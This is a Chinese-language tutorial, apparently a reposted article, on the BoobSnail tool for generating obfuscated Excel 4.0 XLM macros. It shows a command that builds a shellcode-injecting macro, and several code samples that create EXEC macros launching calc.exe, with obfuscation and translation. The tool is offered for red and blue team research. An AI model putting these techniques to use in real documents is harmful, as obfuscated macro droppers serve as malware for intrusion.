BoobSnail可以帮助广大研究人员生成XLM(Excel 4.0)宏文件,该工具可以在XLM宏生成任务中给红队和蓝队研究人员提供帮助。该工具支持的功能如下:
广大研究人员可以使用下列命令将该项目源码克隆至本地:
- git clone https://github.com/STMCyber/boobsnail.git
BoobSnail基于Python 3开发,因此我们需要在本地设备上安装并配置好Python
3.8.7rc1环境。接下来,运行下列命令安装该工具所需依赖组件:
- pip install -r requirements.txt
- python boobsnail.py
- ___. ___. _________ .__.__
- \_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
- | __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
- | \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
- |___ /\____/ \____/|___ /_______ /___| (____ /__|____/
- \/ \/ \/ \/ \/
- Author: @_mzer0 @stm_cyber
- (...)
- python boobsnail.py
-h
显示可用的生成器类型:
- python boobsnail.py
生成注入了x64或x86 Shellcode的经过代码混淆处理的宏:
- python boobsnail.py Excel4NtDonutGenerator --inputx86
--inputx64 --out boobsnail.csv
生成能够运行calc.exe的经过代码混淆处理的宏:
- python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail使用了excel4lib库来支持创建我们自己的Excel4宏生成器。excel4lib库包含了几个类,可以在创建生成器的过程中使用:
下面给出的例子中将创建一个能够运行calc.exe的简单宏:
- from excel4lib.macro import *
- # Create macro object
- macro = Excel4Macro("test.csv")
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
结果如下:
- cmd="calc.exe";
- =EXEC(cmd);
如果你想对宏进行混淆处理,则需要导入混淆工具并传递给Excel4Macro对象:
- from excel4lib.macro import *
- from excel4lib.macro.obfuscator import *
- # Create macro object
- macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
如需将你的宏转译为其他语言,假设为波兰语(当前该工具仅支持英语和波兰语),我们则需要导入Excel4Translator类,并调用set_language方法:
- from excel4lib.macro import *
- from excel4lib.lang.excel4_translator import *
- # Change language
- Excel4Translator.set_language("pl_PL")
- # Create macro object
- macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
结果如下:
- cmd="calc.exe";
- =URUCHOM.PROGRAM(cmd);
如果你需要创建一个能将其他公式作为接收参数的公式,则需要使用Excel4Macro.argument函数:
- from excel4lib.macro import *
- macro = Excel4Macro("test.csv")
- # Add variable called cmd with value "calc" to the worksheet
- cmd_1 = macro.variable("cmd", "calc")
- # Add cell containing .exe as value
- cmd_2 = macro.value(".exe")
- # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
- exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
- macro.formula("EXEC", exec_arg)
- # Dump to CSV
- print(macro.to_csv())
结果如下:
- cmd="calc";
- .exe;
- =EXEC(CONCATENATE(cmd,R2C1));
项目地址
BoobSnail:【GitHub传送门】
网站栏目:如何使用BoobSnail生成任意Excel4.0XLM宏文件
分享地址:http://www.csdahua.cn/qtweb/news49/478999.html
网站建设、网络推广公司-快上网,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 快上网